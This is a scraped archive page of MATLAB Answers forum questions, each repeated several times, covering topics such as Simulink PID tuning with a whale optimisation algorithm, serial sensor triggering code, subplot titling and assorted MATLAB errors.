Tag Archives: matlab
Moving variables between episodes
To use matlab for RL, I have defined the action and observation space and the agent in a .m file, which also calls a reset function and step function also defined in .m files, and not in simulink. How can I move this variables when Matlab is still running the function train(agent,env)? I want to normalize all discounted rewards across all episodes.To use matlab for RL, I have defined the action and observation space and the agent in a .m file, which also calls a reset function and step function also defined in .m files, and not in simulink. How can I move this variables when Matlab is still running the function train(agent,env)? I want to normalize all discounted rewards across all episodes. To use matlab for RL, I have defined the action and observation space and the agent in a .m file, which also calls a reset function and step function also defined in .m files, and not in simulink. How can I move this variables when Matlab is still running the function train(agent,env)? I want to normalize all discounted rewards across all episodes. reinforcement MATLAB Answers — New Questions
Abnormal exit error while running model advisor check
I am facing below error while running MA check ‘Check Stateflow charts for strong data typing’.
Error: Abnormal exist: Invalid or deleted object
Attaching screenshot for reference. Please help to solve this.I am facing below error while running MA check ‘Check Stateflow charts for strong data typing’.
Error: Abnormal exist: Invalid or deleted object
Attaching screenshot for reference. Please help to solve this. I am facing below error while running MA check ‘Check Stateflow charts for strong data typing’.
Error: Abnormal exist: Invalid or deleted object
Attaching screenshot for reference. Please help to solve this. model advisor, check stateflow charts for strong data typing MATLAB Answers — New Questions
Auto Signalize support for Left Hand Side driving
The Signal tool has a very useful Auto Signalize feature allowing you to automatically add and setup traffic lights at a junction. However, only Right Hand Side driving is supported as you can see by the last two options: 4 Way Protected Left and 4 Way Permitted Left. When designing maps for Left Hand Side driving environments all the Signal Lights need to be manually edited to inverse their internal setup. This is extremely tedious and error prone.
Is there a way to automate this process? Are there any plans to add LHS support to the Auto-Signalize feature?The Signal tool has a very useful Auto Signalize feature allowing you to automatically add and setup traffic lights at a junction. However, only Right Hand Side driving is supported as you can see by the last two options: 4 Way Protected Left and 4 Way Permitted Left. When designing maps for Left Hand Side driving environments all the Signal Lights need to be manually edited to inverse their internal setup. This is extremely tedious and error prone.
Is there a way to automate this process? Are there any plans to add LHS support to the Auto-Signalize feature? The Signal tool has a very useful Auto Signalize feature allowing you to automatically add and setup traffic lights at a junction. However, only Right Hand Side driving is supported as you can see by the last two options: 4 Way Protected Left and 4 Way Permitted Left. When designing maps for Left Hand Side driving environments all the Signal Lights need to be manually edited to inverse their internal setup. This is extremely tedious and error prone.
Is there a way to automate this process? Are there any plans to add LHS support to the Auto-Signalize feature? road runner, traffic light MATLAB Answers — New Questions
Derivative of state ‘1’ in block ‘two_area_LFC_PID/Integrator9’ at time 8.820174943555763 is not finite.
I have simulated a system in Simulink MATLAB that I want to optimize with the PID controller.
To find the best controller coefficients, I use WOA optimization method. But when I run it, I get the following error “Derivative of state ‘1’ in block ‘two_area_LFC_PID/Integrator9’ at time 8.820174943555763 is not finite. The simulation will be stopped. There may be a singularity in the solution. If not, try reducing the step size (either by reducing the fixed step size or by tightening the error tolerances)”. Is there a solution to my problem? I have changed the step size. I also changed the solver to ODE 15s(stiff/NDF). But the problem was not solved. I have posted the desired system image with algorithm codes for friends.
CODE:
function bestSolution = EWOA_Run_PID()
% Step 1: Initialize the input arguments for EWOA
nVar = 6;
ub = [50 50 50 50 50 50];
lb = [0.01 0.01 0.01 0.01 0.01 0.01];
MaxIter = 50;
PopulationSize = 50;
% Step 2: Define the objective function handle using EWAO_Cost_PID_CF_CE
objFcn = @(params) EWOA_Cost_PID(params);
% Step 3: Call the EWOA function
bestSolution = EWOA(nVar, lb, ub, objFcn, MaxIter, PopulationSize);
end
function bestSolution = EWOA(nVar, lb, ub, objFcn, MaxIter, PopulationSize)
% Step 1: Initialize the population
whalesPositions = bsxfun(@plus, lb, bsxfun(@times, rand(PopulationSize, nVar), (ub – lb)));
% Step 2: Evaluate the objective function for each whale
whalesCost = zeros(PopulationSize, 1);
for i = 1:PopulationSize
whalesCost(i) = objFcn(whalesPositions(i, :));
end
% Step 3: Set the initial best position and cost
[globalBestCost, gBestIndex] = min(whalesCost);
globalBestPosition = whalesPositions(gBestIndex, :);
% Step 4: Initialize elite whale
eliteWhalePosition = globalBestPosition;
eliteWhaleCost = globalBestCost;
% Step 5: Set the termination criterion parameters
maxIterWithoutImprovement = 50; % Adjust this value as needed
iterWithoutImprovement = 50;
% Main loop
for iter = 1:MaxIter
a = 2 – iter * ((2) / MaxIter); % Parameter to control the search space reduction
for i = 1:PopulationSize
% Generate random vectors
r1 = rand(1, nVar);
r2 = rand(1, nVar);
% Calculate the A and C coefficients
A = 2 * a * r1 – a;
C = 2 * r2;
% Update the position of the whales using the WOA operators
D = abs(C .* globalBestPosition – whalesPositions(i, :));
newWhalePosition = globalBestPosition – A .* D;
% Clip positions to stay within the bounds
newWhalePosition = max(newWhalePosition, lb);
newWhalePosition = min(newWhalePosition, ub);
% Evaluate the new position using the EWAO_Cost_PID_CF_CE function
newWhaleCost = EWOA_Cost_PID(newWhalePosition);
% Update the whale’s position and cost if a better solution is found
if newWhaleCost < whalesCost(i)
whalesPositions(i, 🙂 = newWhalePosition;
whalesCost(i) = newWhaleCost;
end
% Update the global best position and cost if a better solution is found
if whalesCost(i) < globalBestCost
globalBestCost = whalesCost(i);
globalBestPosition = whalesPositions(i, :);
end
end
% Check for termination criterion
if globalBestCost < eliteWhaleCost
eliteWhalePosition = globalBestPosition;
eliteWhaleCost = globalBestCost;
iterWithoutImprovement = 0;
else
iterWithoutImprovement = iterWithoutImprovement + 1;
end
% Display the best cost at each iteration
disp([‘Iteration ‘, num2str(iter), ‘: Best Cost = ‘, num2str(eliteWhaleCost)]);
% Check if termination criterion is met
if iterWithoutImprovement >= maxIterWithoutImprovement
break;
end
end
% Output the best solution found
bestSolution = eliteWhalePosition;
end
Code
function cost = EWOA_Cost_PID(params)
% Assign parameters to the base workspace using assignin
assignin(‘base’, ‘KP’, params(1));
assignin(‘base’, ‘KI’, params(2));
assignin(‘base’, ‘KD’, params(3));
assignin(‘base’, ‘KPP’, params(4));
assignin(‘base’, ‘KII’, params(5));
assignin(‘base’, ‘KDD’, params(6));
% Run the Simulink model
sim(‘two_area_LFC_PID’);
% Calculate penalties based on maximum absolute values of signals
g1 = max(abs(f1.signals.values)) – 0.25;
g2 = max(abs(f2.signals.values)) – 0.25;
g3 = max(abs(pt.signals.values)) – 0.05;
% Define a large penalty coefficient
lambda = 10^20;
% Compute penalties for constraint violations
Penalty1 = lambda * g1^2 * GetInequality(g1);
Penalty2 = lambda * g2^2 * GetInequality(g2);
Penalty3 = lambda * g3^2 * GetInequality(g3);
% Calculate the total cost
cost = J_obj.signals.values(end) + Penalty1 + Penalty2 + Penalty3;
endI have simulated a system in Simulink MATLAB that I want to optimize with the PID controller.
To find the best controller coefficients, I use WOA optimization method. But when I run it, I get the following error “Derivative of state ‘1’ in block ‘two_area_LFC_PID/Integrator9’ at time 8.820174943555763 is not finite. The simulation will be stopped. There may be a singularity in the solution. If not, try reducing the step size (either by reducing the fixed step size or by tightening the error tolerances)”. Is there a solution to my problem? I have changed the step size. I also changed the solver to ODE 15s(stiff/NDF). But the problem was not solved. I have posted the desired system image with algorithm codes for friends.
CODE:
function bestSolution = EWOA_Run_PID()
% Step 1: Initialize the input arguments for EWOA
nVar = 6;
ub = [50 50 50 50 50 50];
lb = [0.01 0.01 0.01 0.01 0.01 0.01];
MaxIter = 50;
PopulationSize = 50;
% Step 2: Define the objective function handle using EWAO_Cost_PID_CF_CE
objFcn = @(params) EWOA_Cost_PID(params);
% Step 3: Call the EWOA function
bestSolution = EWOA(nVar, lb, ub, objFcn, MaxIter, PopulationSize);
end
function bestSolution = EWOA(nVar, lb, ub, objFcn, MaxIter, PopulationSize)
% Step 1: Initialize the population
whalesPositions = bsxfun(@plus, lb, bsxfun(@times, rand(PopulationSize, nVar), (ub – lb)));
% Step 2: Evaluate the objective function for each whale
whalesCost = zeros(PopulationSize, 1);
for i = 1:PopulationSize
whalesCost(i) = objFcn(whalesPositions(i, :));
end
% Step 3: Set the initial best position and cost
[globalBestCost, gBestIndex] = min(whalesCost);
globalBestPosition = whalesPositions(gBestIndex, :);
% Step 4: Initialize elite whale
eliteWhalePosition = globalBestPosition;
eliteWhaleCost = globalBestCost;
% Step 5: Set the termination criterion parameters
maxIterWithoutImprovement = 50; % Adjust this value as needed
iterWithoutImprovement = 50;
% Main loop
for iter = 1:MaxIter
a = 2 – iter * ((2) / MaxIter); % Parameter to control the search space reduction
for i = 1:PopulationSize
% Generate random vectors
r1 = rand(1, nVar);
r2 = rand(1, nVar);
% Calculate the A and C coefficients
A = 2 * a * r1 – a;
C = 2 * r2;
% Update the position of the whales using the WOA operators
D = abs(C .* globalBestPosition – whalesPositions(i, :));
newWhalePosition = globalBestPosition – A .* D;
% Clip positions to stay within the bounds
newWhalePosition = max(newWhalePosition, lb);
newWhalePosition = min(newWhalePosition, ub);
% Evaluate the new position using the EWAO_Cost_PID_CF_CE function
newWhaleCost = EWOA_Cost_PID(newWhalePosition);
% Update the whale’s position and cost if a better solution is found
if newWhaleCost < whalesCost(i)
whalesPositions(i, 🙂 = newWhalePosition;
whalesCost(i) = newWhaleCost;
end
% Update the global best position and cost if a better solution is found
if whalesCost(i) < globalBestCost
globalBestCost = whalesCost(i);
globalBestPosition = whalesPositions(i, :);
end
end
% Check for termination criterion
if globalBestCost < eliteWhaleCost
eliteWhalePosition = globalBestPosition;
eliteWhaleCost = globalBestCost;
iterWithoutImprovement = 0;
else
iterWithoutImprovement = iterWithoutImprovement + 1;
end
% Display the best cost at each iteration
disp([‘Iteration ‘, num2str(iter), ‘: Best Cost = ‘, num2str(eliteWhaleCost)]);
% Check if termination criterion is met
if iterWithoutImprovement >= maxIterWithoutImprovement
break;
end
end
% Output the best solution found
bestSolution = eliteWhalePosition;
end
Code
function cost = EWOA_Cost_PID(params)
% Assign parameters to the base workspace using assignin
assignin(‘base’, ‘KP’, params(1));
assignin(‘base’, ‘KI’, params(2));
assignin(‘base’, ‘KD’, params(3));
assignin(‘base’, ‘KPP’, params(4));
assignin(‘base’, ‘KII’, params(5));
assignin(‘base’, ‘KDD’, params(6));
% Run the Simulink model
sim(‘two_area_LFC_PID’);
% Calculate penalties based on maximum absolute values of signals
g1 = max(abs(f1.signals.values)) – 0.25;
g2 = max(abs(f2.signals.values)) – 0.25;
g3 = max(abs(pt.signals.values)) – 0.05;
% Define a large penalty coefficient
lambda = 10^20;
% Compute penalties for constraint violations
Penalty1 = lambda * g1^2 * GetInequality(g1);
Penalty2 = lambda * g2^2 * GetInequality(g2);
Penalty3 = lambda * g3^2 * GetInequality(g3);
% Calculate the total cost
cost = J_obj.signals.values(end) + Penalty1 + Penalty2 + Penalty3;
end I have simulated a system in Simulink MATLAB that I want to optimize with the PID controller.
To find the best controller coefficients, I use WOA optimization method. But when I run it, I get the following error “Derivative of state ‘1’ in block ‘two_area_LFC_PID/Integrator9’ at time 8.820174943555763 is not finite. The simulation will be stopped. There may be a singularity in the solution. If not, try reducing the step size (either by reducing the fixed step size or by tightening the error tolerances)”. Is there a solution to my problem? I have changed the step size. I also changed the solver to ODE 15s(stiff/NDF). But the problem was not solved. I have posted the desired system image with algorithm codes for friends.
CODE:
function bestSolution = EWOA_Run_PID()
% Step 1: Initialize the input arguments for EWOA
nVar = 6;
ub = [50 50 50 50 50 50];
lb = [0.01 0.01 0.01 0.01 0.01 0.01];
MaxIter = 50;
PopulationSize = 50;
% Step 2: Define the objective function handle using EWAO_Cost_PID_CF_CE
objFcn = @(params) EWOA_Cost_PID(params);
% Step 3: Call the EWOA function
bestSolution = EWOA(nVar, lb, ub, objFcn, MaxIter, PopulationSize);
end
function bestSolution = EWOA(nVar, lb, ub, objFcn, MaxIter, PopulationSize)
% Step 1: Initialize the population
whalesPositions = bsxfun(@plus, lb, bsxfun(@times, rand(PopulationSize, nVar), (ub – lb)));
% Step 2: Evaluate the objective function for each whale
whalesCost = zeros(PopulationSize, 1);
for i = 1:PopulationSize
whalesCost(i) = objFcn(whalesPositions(i, :));
end
% Step 3: Set the initial best position and cost
[globalBestCost, gBestIndex] = min(whalesCost);
globalBestPosition = whalesPositions(gBestIndex, :);
% Step 4: Initialize elite whale
eliteWhalePosition = globalBestPosition;
eliteWhaleCost = globalBestCost;
% Step 5: Set the termination criterion parameters
maxIterWithoutImprovement = 50; % Adjust this value as needed
iterWithoutImprovement = 50;
% Main loop
for iter = 1:MaxIter
a = 2 – iter * ((2) / MaxIter); % Parameter to control the search space reduction
for i = 1:PopulationSize
% Generate random vectors
r1 = rand(1, nVar);
r2 = rand(1, nVar);
% Calculate the A and C coefficients
A = 2 * a * r1 – a;
C = 2 * r2;
% Update the position of the whales using the WOA operators
D = abs(C .* globalBestPosition – whalesPositions(i, :));
newWhalePosition = globalBestPosition – A .* D;
% Clip positions to stay within the bounds
newWhalePosition = max(newWhalePosition, lb);
newWhalePosition = min(newWhalePosition, ub);
% Evaluate the new position using the EWAO_Cost_PID_CF_CE function
newWhaleCost = EWOA_Cost_PID(newWhalePosition);
% Update the whale’s position and cost if a better solution is found
if newWhaleCost < whalesCost(i)
whalesPositions(i, 🙂 = newWhalePosition;
whalesCost(i) = newWhaleCost;
end
% Update the global best position and cost if a better solution is found
if whalesCost(i) < globalBestCost
globalBestCost = whalesCost(i);
globalBestPosition = whalesPositions(i, :);
end
end
% Check for termination criterion
if globalBestCost < eliteWhaleCost
eliteWhalePosition = globalBestPosition;
eliteWhaleCost = globalBestCost;
iterWithoutImprovement = 0;
else
iterWithoutImprovement = iterWithoutImprovement + 1;
end
% Display the best cost at each iteration
disp([‘Iteration ‘, num2str(iter), ‘: Best Cost = ‘, num2str(eliteWhaleCost)]);
% Check if termination criterion is met
if iterWithoutImprovement >= maxIterWithoutImprovement
break;
end
end
% Output the best solution found
bestSolution = eliteWhalePosition;
end
Code
function cost = EWOA_Cost_PID(params)
% Assign parameters to the base workspace using assignin
assignin(‘base’, ‘KP’, params(1));
assignin(‘base’, ‘KI’, params(2));
assignin(‘base’, ‘KD’, params(3));
assignin(‘base’, ‘KPP’, params(4));
assignin(‘base’, ‘KII’, params(5));
assignin(‘base’, ‘KDD’, params(6));
% Run the Simulink model
sim(‘two_area_LFC_PID’);
% Calculate penalties based on maximum absolute values of signals
g1 = max(abs(f1.signals.values)) – 0.25;
g2 = max(abs(f2.signals.values)) – 0.25;
g3 = max(abs(pt.signals.values)) – 0.05;
% Define a large penalty coefficient
lambda = 10^20;
% Compute penalties for constraint violations
Penalty1 = lambda * g1^2 * GetInequality(g1);
Penalty2 = lambda * g2^2 * GetInequality(g2);
Penalty3 = lambda * g3^2 * GetInequality(g3);
% Calculate the total cost
cost = J_obj.signals.values(end) + Penalty1 + Penalty2 + Penalty3;
end error, matlab, solve, derivative of state ‘1’ in block MATLAB Answers — New Questions
how to see a serdes channel’s frequency response in simulink?
I opened the example "Architectural 112G PAM4 ADC-Based SerDes Model", and I want to see the channel’s frequency response.
I tried function "frestimate" but it didn’t work.I opened the example "Architectural 112G PAM4 ADC-Based SerDes Model", and I want to see the channel’s frequency response.
I tried function "frestimate" but it didn’t work. I opened the example "Architectural 112G PAM4 ADC-Based SerDes Model", and I want to see the channel’s frequency response.
I tried function "frestimate" but it didn’t work. serdes, frequency response, channel loss, simulink MATLAB Answers — New Questions
Unable to read MAT-file C:UsersPRINCE PCAppDataRoamingMathWorksMATLABR2016amatlabprefs.mat – How do I fix this
As the title states, I keep getting that error message anytime I launch MATLAB. I suspect it has to do with a forced shut down with the figure window open as this was what happened last before that error start appearing. Please how do I fix this:
Error – Unable to read MAT-file C:UsersPRINCE PCAppDataRoamingMathWorksMATLABR2016amatlabprefs.mat
Version – R2016a
Ps: I have tried locating the file yet can’t find it (no folder named AppData on that path).As the title states, I keep getting that error message anytime I launch MATLAB. I suspect it has to do with a forced shut down with the figure window open as this was what happened last before that error start appearing. Please how do I fix this:
Error – Unable to read MAT-file C:UsersPRINCE PCAppDataRoamingMathWorksMATLABR2016amatlabprefs.mat
Version – R2016a
Ps: I have tried locating the file yet can’t find it (no folder named AppData on that path). As the title states, I keep getting that error message anytime I launch MATLAB. I suspect it has to do with a forced shut down with the figure window open as this was what happened last before that error start appearing. Please how do I fix this:
Error – Unable to read MAT-file C:UsersPRINCE PCAppDataRoamingMathWorksMATLABR2016amatlabprefs.mat
Version – R2016a
Ps: I have tried locating the file yet can’t find it (no folder named AppData on that path). error, matlab r2016a, matlabprefs.mat MATLAB Answers — New Questions
sometimes the function triggers when i trigger the sensor, sometimes it triggers without me triggering it, sometimes it won’t trigger even through multiple attempts.
hi, I am new to this and I have problem with my function. For some reason the software can’t sense when I trigger the sensor or it triggers without me triggering the sensor. The result was so random and I couldn’t find the problem. Thank you for reading this.
function [accelDataArray, accelDataArray2] = collectSamples(serialObject1, sampleNum, serialObject2, sampleNum2)
sampleCounter1 = 1;
accelDataArray = zeros(sampleNum, 1);
sampleCounter2 = 1;
accelDataArray2 = zeros(sampleNum2, 1);
triggered = false; % Initialize the trigger condition
% Wait for the trigger condition (preliminary loop)
disp(‘Waiting for trigger…’);
%%fix 282 to 312
while ~triggered
if serialObject1.BytesAvailable < 20 || serialObject2.BytesAvailable < 20
continue;
end
header1 = fread(serialObject1, 1);
header2 = fread(serialObject2, 1);
if header1 ~= 85 || header2 ~= 85
fread(serialObject1, 1);
fread(serialObject2, 1);
continue;
end
dataBytes1 = fread(serialObject1, 19);
dataBytes2 = fread(serialObject2, 19);
if dataBytes1(1) ~= 97 || dataBytes2(1) ~= 97
continue;
end
azL = dataBytes1(6);
azH = dataBytes1(7);
az = double(typecast(uint8([azL azH]), ‘int16’)) / 32768 * 16;
azL2 = dataBytes2(6);
azH2 = dataBytes2(7);
az2 = double(typecast(uint8([azL2 azH2]), ‘int16’)) / 32768 * 16;
if az > .1 || az2 > .1 % Trigger condition, adjust the threshold as needed
triggered = true;
disp(‘Triggered, now collecting samples…’);
end
end
% Data collection loop
while sampleCounter1 <= sampleNum || sampleCounter2 <= sampleNum2
% Read data from sensor 1
if serialObject1.BytesAvailable >= 20
header1 = fread(serialObject1, 1);
if header1 == 85
dataBytes1 = fread(serialObject1, 19);
if dataBytes1(1) == 97
azL = dataBytes1(6);
azH = dataBytes1(7);
az = double(typecast(uint8([azL azH]), ‘int16’)) / 32768 * 16;
accelDataArray(sampleCounter1) = az;
sampleCounter1 = sampleCounter1 + 1;
end
end
end
% Read data from sensor 2
if serialObject2.BytesAvailable >= 20
header2 = fread(serialObject2, 1);
if header2 == 85
dataBytes2 = fread(serialObject2, 19);
if dataBytes2(1) == 97
azL2 = dataBytes2(6);
azH2 = dataBytes2(7);
az2 = double(typecast(uint8([azL2 azH2]), ‘int16’)) / 32768 * 16;
accelDataArray2(sampleCounter2) = az2;
sampleCounter2 = sampleCounter2 + 1;
end
end
end
end
endhi, I am new to this and I have problem with my function. For some reason the software can’t sense when I trigger the sensor or it triggers without me triggering the sensor. The result was so random and I couldn’t find the problem. Thank you for reading this.
function [accelDataArray, accelDataArray2] = collectSamples(serialObject1, sampleNum, serialObject2, sampleNum2)
sampleCounter1 = 1;
accelDataArray = zeros(sampleNum, 1);
sampleCounter2 = 1;
accelDataArray2 = zeros(sampleNum2, 1);
triggered = false; % Initialize the trigger condition
% Wait for the trigger condition (preliminary loop)
disp(‘Waiting for trigger…’);
%%fix 282 to 312
while ~triggered
if serialObject1.BytesAvailable < 20 || serialObject2.BytesAvailable < 20
continue;
end
header1 = fread(serialObject1, 1);
header2 = fread(serialObject2, 1);
if header1 ~= 85 || header2 ~= 85
fread(serialObject1, 1);
fread(serialObject2, 1);
continue;
end
dataBytes1 = fread(serialObject1, 19);
dataBytes2 = fread(serialObject2, 19);
if dataBytes1(1) ~= 97 || dataBytes2(1) ~= 97
continue;
end
azL = dataBytes1(6);
azH = dataBytes1(7);
az = double(typecast(uint8([azL azH]), ‘int16’)) / 32768 * 16;
azL2 = dataBytes2(6);
azH2 = dataBytes2(7);
az2 = double(typecast(uint8([azL2 azH2]), ‘int16’)) / 32768 * 16;
if az > .1 || az2 > .1 % Trigger condition, adjust the threshold as needed
triggered = true;
disp(‘Triggered, now collecting samples…’);
end
end
% Data collection loop
while sampleCounter1 <= sampleNum || sampleCounter2 <= sampleNum2
% Read data from sensor 1
if serialObject1.BytesAvailable >= 20
header1 = fread(serialObject1, 1);
if header1 == 85
dataBytes1 = fread(serialObject1, 19);
if dataBytes1(1) == 97
azL = dataBytes1(6);
azH = dataBytes1(7);
az = double(typecast(uint8([azL azH]), ‘int16’)) / 32768 * 16;
accelDataArray(sampleCounter1) = az;
sampleCounter1 = sampleCounter1 + 1;
end
end
end
% Read data from sensor 2
if serialObject2.BytesAvailable >= 20
header2 = fread(serialObject2, 1);
if header2 == 85
dataBytes2 = fread(serialObject2, 19);
if dataBytes2(1) == 97
azL2 = dataBytes2(6);
azH2 = dataBytes2(7);
az2 = double(typecast(uint8([azL2 azH2]), ‘int16’)) / 32768 * 16;
accelDataArray2(sampleCounter2) = az2;
sampleCounter2 = sampleCounter2 + 1;
end
end
end
end
end hi, I am new to this and I have problem with my function. For some reason the software can’t sense when I trigger the sensor or it triggers without me triggering the sensor. The result was so random and I couldn’t find the problem. Thank you for reading this.
function [accelDataArray, accelDataArray2] = collectSamples(serialObject1, sampleNum, serialObject2, sampleNum2)
sampleCounter1 = 1;
accelDataArray = zeros(sampleNum, 1);
sampleCounter2 = 1;
accelDataArray2 = zeros(sampleNum2, 1);
triggered = false; % Initialize the trigger condition
% Wait for the trigger condition (preliminary loop)
disp(‘Waiting for trigger…’);
%%fix 282 to 312
while ~triggered
if serialObject1.BytesAvailable < 20 || serialObject2.BytesAvailable < 20
continue;
end
header1 = fread(serialObject1, 1);
header2 = fread(serialObject2, 1);
if header1 ~= 85 || header2 ~= 85
fread(serialObject1, 1);
fread(serialObject2, 1);
continue;
end
dataBytes1 = fread(serialObject1, 19);
dataBytes2 = fread(serialObject2, 19);
if dataBytes1(1) ~= 97 || dataBytes2(1) ~= 97
continue;
end
azL = dataBytes1(6);
azH = dataBytes1(7);
az = double(typecast(uint8([azL azH]), ‘int16’)) / 32768 * 16;
azL2 = dataBytes2(6);
azH2 = dataBytes2(7);
az2 = double(typecast(uint8([azL2 azH2]), ‘int16’)) / 32768 * 16;
if az > .1 || az2 > .1 % Trigger condition, adjust the threshold as needed
triggered = true;
disp(‘Triggered, now collecting samples…’);
end
end
% Data collection loop
while sampleCounter1 <= sampleNum || sampleCounter2 <= sampleNum2
% Read data from sensor 1
if serialObject1.BytesAvailable >= 20
header1 = fread(serialObject1, 1);
if header1 == 85
dataBytes1 = fread(serialObject1, 19);
if dataBytes1(1) == 97
azL = dataBytes1(6);
azH = dataBytes1(7);
az = double(typecast(uint8([azL azH]), ‘int16’)) / 32768 * 16;
accelDataArray(sampleCounter1) = az;
sampleCounter1 = sampleCounter1 + 1;
end
end
end
% Read data from sensor 2
if serialObject2.BytesAvailable >= 20
header2 = fread(serialObject2, 1);
if header2 == 85
dataBytes2 = fread(serialObject2, 19);
if dataBytes2(1) == 97
azL2 = dataBytes2(6);
azH2 = dataBytes2(7);
az2 = double(typecast(uint8([azL2 azH2]), ‘int16’)) / 32768 * 16;
accelDataArray2(sampleCounter2) = az2;
sampleCounter2 = sampleCounter2 + 1;
end
end
end
end
end #sensor MATLAB Answers — New Questions
needing help to use some codes
I used the codes of "waterfall" and "surf" to draw three figures at once
Instead of all three figures being the same color, I want each figure to have a different color than the other. please guide meI used the codes of "waterfall" and "surf" to draw three figures at once
Instead of all three figures being the same color, I want each figure to have a different color than the other. please guide me I used the codes of "waterfall" and "surf" to draw three figures at once
Instead of all three figures being the same color, I want each figure to have a different color than the other. please guide me transferred MATLAB Answers — New Questions
How do I change position of titles and subtitles of subplots?
I attached a screenshot of my plot.
I would like to put on the left (instead of above) the titles (Currents at -70mv, -50, -30 and -10) of the four subplots on the left; on the other hand, I would like to put on the right (instead of above) the titles (Currents at -60mv, -40, -20 and 0) of the four subplots on the right. This is to save space and delete some of the blank space between the subplots.
As for the subtitle ("I is 2 times slower than E"), I’d like to have only one instead of eight, possibly above all the subplots in the centre.
This is how I’m doing now (there’s another for loop "for rat = 1:colnum2" outside here but it’s not relevant for this question):
for vol = 1:colnum
subplot(4,2,vol);
plot(t_plot, currents(:,hh:zz), ‘linewidth’,2); legend(‘IPSC’, ‘EPSC’, ‘CPSC’);
str = sprintf(‘Currents at %d mV ‘, Vm(1,vol));
title(str)
subtitle([‘I is ‘, num2str(ratio(rat)), ‘ times slower than E’])
xlabel(‘Time(msec)’, ‘fontsize’, 7)
ylabel(‘Microamperes (uA)’, ‘fontsize’, 7);
hh = hh + niter;
zz = zz + niter;
end
Thanks!I attached a screenshot of my plot.
I would like to put on the left (instead of above) the titles (Currents at -70mv, -50, -30 and -10) of the four subplots on the left; on the other hand, I would like to put on the right (instead of above) the titles (Currents at -60mv, -40, -20 and 0) of the four subplots on the right. This is to save space and delete some of the blank space between the subplots.
As for the subtitle ("I is 2 times slower than E"), I’d like to have only one instead of eight, possibly above all the subplots in the centre.
This is how I’m doing now (there’s another for loop "for rat = 1:colnum2" outside here but it’s not relevant for this question):
for vol = 1:colnum
subplot(4,2,vol);
plot(t_plot, currents(:,hh:zz), ‘linewidth’,2); legend(‘IPSC’, ‘EPSC’, ‘CPSC’);
str = sprintf(‘Currents at %d mV ‘, Vm(1,vol));
title(str)
subtitle([‘I is ‘, num2str(ratio(rat)), ‘ times slower than E’])
xlabel(‘Time(msec)’, ‘fontsize’, 7)
ylabel(‘Microamperes (uA)’, ‘fontsize’, 7);
hh = hh + niter;
zz = zz + niter;
end
Thanks! I attached a screenshot of my plot.
I would like to put on the left (instead of above) the titles (Currents at -70mv, -50, -30 and -10) of the four subplots on the left; on the other hand, I would like to put on the right (instead of above) the titles (Currents at -60mv, -40, -20 and 0) of the four subplots on the right. This is to save space and delete some of the blank space between the subplots.
As for the subtitle ("I is 2 times slower than E"), I’d like to have only one instead of eight, possibly above all the subplots in the centre.
This is how I’m doing now (there’s another for loop "for rat = 1:colnum2" outside here but it’s not relevant for this question):
for vol = 1:colnum
subplot(4,2,vol);
plot(t_plot, currents(:,hh:zz), ‘linewidth’,2); legend(‘IPSC’, ‘EPSC’, ‘CPSC’);
str = sprintf(‘Currents at %d mV ‘, Vm(1,vol));
title(str)
subtitle([‘I is ‘, num2str(ratio(rat)), ‘ times slower than E’])
xlabel(‘Time(msec)’, ‘fontsize’, 7)
ylabel(‘Microamperes (uA)’, ‘fontsize’, 7);
hh = hh + niter;
zz = zz + niter;
end
Thanks! plot, subplot, plotting, matlab, title, subtitle MATLAB Answers — New Questions
change CRS in netcdf4 files
Hi, I have a bunch of netcdf4 files and need to convert to different coordinate system.
How can we do that?
thanks.Hi, I have a bunch of netcdf4 files and need to convert to different coordinate system.
How can we do that?
thanks. Hi, I have a bunch of netcdf4 files and need to convert to different coordinate system.
How can we do that?
thanks. netcdf4, crs MATLAB Answers — New Questions
Hi, I am having some trouble with a plot. I am trying to plot pressure vs. time using an equation for pressure with respect to time. Whenever I plot this I get a blank graph, so i’m not sure what the problem is. I appreciate any help!
Po = 400000;
Patm = 101325;
rhowater = 1000;
Vo = .00133333;
Anoz = pi*(.010668)^2;
syms P t
P = Po + (((-1.4*P*((P/Po)^(5/7)))/Vo)*(Anoz*sqrt((P-Patm)/rhowater)))*t;
Eqn = solve(P,t);
Peq = Eqn;
fplot(Peq,[0 1])
ylim ([0 450000])
xlabel(‘time (s) ‘)
ylabel(‘Pressure (Pa) ‘)Po = 400000;
Patm = 101325;
rhowater = 1000;
Vo = .00133333;
Anoz = pi*(.010668)^2;
syms P t
P = Po + (((-1.4*P*((P/Po)^(5/7)))/Vo)*(Anoz*sqrt((P-Patm)/rhowater)))*t;
Eqn = solve(P,t);
Peq = Eqn;
fplot(Peq,[0 1])
ylim ([0 450000])
xlabel(‘time (s) ‘)
ylabel(‘Pressure (Pa) ‘) Po = 400000;
Patm = 101325;
rhowater = 1000;
Vo = .00133333;
Anoz = pi*(.010668)^2;
syms P t
P = Po + (((-1.4*P*((P/Po)^(5/7)))/Vo)*(Anoz*sqrt((P-Patm)/rhowater)))*t;
Eqn = solve(P,t);
Peq = Eqn;
fplot(Peq,[0 1])
ylim ([0 450000])
xlabel(‘time (s) ‘)
ylabel(‘Pressure (Pa) ‘) plotting MATLAB Answers — New Questions
Can not open a MATLAB example although I already installed the proposed MATLAB packages
I am trying to open a MATLAB example via typing the following command:
openExample(‘5g/NewRadioAIBasedPositioningExample’)
But I got this error:
Error using findExample
Unable to find "5g/NewRadioAIBasedPositioningExample". Check the example name and try again.
Error in openExample (line 30)
metadata = findExample(exampleId);
Although I already installed 5g and deep learning toolboxs, any help?
Thanks.I am trying to open a MATLAB example via typing the following command:
openExample(‘5g/NewRadioAIBasedPositioningExample’)
But I got this error:
Error using findExample
Unable to find "5g/NewRadioAIBasedPositioningExample". Check the example name and try again.
Error in openExample (line 30)
metadata = findExample(exampleId);
Although I already installed 5g and deep learning toolboxs, any help?
Thanks. I am trying to open a MATLAB example via typing the following command:
openExample(‘5g/NewRadioAIBasedPositioningExample’)
But I got this error:
Error using findExample
Unable to find "5g/NewRadioAIBasedPositioningExample". Check the example name and try again.
Error in openExample (line 30)
metadata = findExample(exampleId);
Although I already installed 5g and deep learning toolboxs, any help?
Thanks. deep learning, 5g, wlan MATLAB Answers — New Questions
How to solve this with the help of fplot
Post Content Post Content fplot, roots, plotting MATLAB Answers — New Questions
Matlab continuously launching on GPU
